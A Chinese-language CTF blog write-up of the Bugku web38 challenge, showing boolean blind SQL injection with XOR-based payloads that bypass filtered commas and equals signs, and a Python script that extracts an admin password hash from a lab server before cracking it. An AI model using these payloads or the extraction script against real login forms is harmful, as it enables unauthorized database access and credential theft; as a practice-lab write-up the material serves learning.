「配枪朱丽叶。」 「配枪朱丽叶。」
  • 🏠 INDEX
  • 🚩 CTF
    • WEB
    • CRYPTO
    • MISC
  • 🌐 SITE
    • BUUCTF
    • XCTF
    • CTF.SHOW
    • BMZCTF
    • VULNHUB
    • BUGKU
    • HACKTHEBOX
  • 📔 NOTE
  • 👩‍💻 ABOUT ME
  • 💬 COMMENT
  • 🏠 INDEX
  • 🚩 CTF
    • WEB
    • CRYPTO
    • MISC
  • 🌐 SITE
    • BUUCTF
    • XCTF
    • CTF.SHOW
    • BMZCTF
    • VULNHUB
    • BUGKU
    • HACKTHEBOX
  • 📔 NOTE
  • 👩‍💻 ABOUT ME
  • 💬 COMMENT
我的主页 › 靶场 › Bugku › [Bugku]web38(基于布尔的SQL盲注)1 min read
#Bugku#

[Bugku]web38(基于布尔的SQL盲注)1 min read

2周前
16 0

输入admin,密码随便填,得到:password error!

输入admin',密码随便填,得到:username does not exist!

因为1^1=0;1^0=1,0^0=0,所以尝试:

输入admin'^1^1#,密码随意填,得到:password error!

输入admin'^0^1#,密码随意填,得到:username does not exist!

搂一遍可用的字符串/函数,经测试ascii、substr、括号、select、ord、下划线这些都可以用。此外,过滤了逗号、for、=、where、*等。

判断长度:

admin'^(ascii(substr((database())from(1)))>23)^1#

回显password error!,说明ascii码大于23。

admin'^(ascii(substr((database())from(1)))>123)^1#

回显username does not exist!,说明ascii码小于123。

同理,写脚本,等号被过滤了,使用不等号(<>),这里库名表名是猜的。

import requests

url='http://114.67.246.176:16662/index.php'

flag=""
for j in range(1,50):
    for i in range(32,128):
            payload = "admin'^(ascii(substr((select(password)from(admin))from("+str(j)+")))<>"+str(i)+")^1#"
            # print(payload)
            data = {
                "username": payload,
                "password": "123"
            }
            test = requests.post(url=url,data=data).text
            if 'exist' in test:
                flag += chr(i)
                print(flag)
                break

运行可得到密码的md5:4dcc88f8f1bc05e7c2ad1a60288481a2,somd5解得明文:bugkuctf

登录得到flag。

0 0
Shaw Root
# bugku# sql注入# web
相关文章
[SWPU2019]Web3
[Bugku]web36(注入、命令执行)
[HackTheBox]Passage靶机通关记录
密码保护:[CTF.SHOW]WEB入门-jwt做题记录(345~349)
PHP反序列化与SESSION学习笔记
头像
Shaw Root站长
> 前路仍有明月共爱河。
131文章 0评论 127获赞
随便看看:)
MySQL报错注入笔记
6月前
[HarekazeCTF2019]encode_and_encode
10月前
[watevrCTF-2019]Pickle Store(序列化笔记)
8月前
[CTF.SHOW]web8
9月前
[极客大挑战 2019]FinalSQL
3月前
  • 旧站
  • 我的知乎
  • Riro
  • 7i4n2h3n9
  • EDS
  • 熵增
  • 紫哥purplet
  • 夏风
  • N0vice
  • Ga1@xy
  • prontosil
  • FzWjScJ
  • Retr_0
  • L1near
  • 1p0ch
  • β-AS
  • Match
  • Dizzyk
  • Y1ng
  • 偏有宸机
  • Van1sh
  • Fstone
  • Kali’s Blog
  • Airtail
  • False
Copyright © 2020-2021 「配枪朱丽叶。」. Designed by nicetheme. 百度统计 载入天数... 载入时分秒...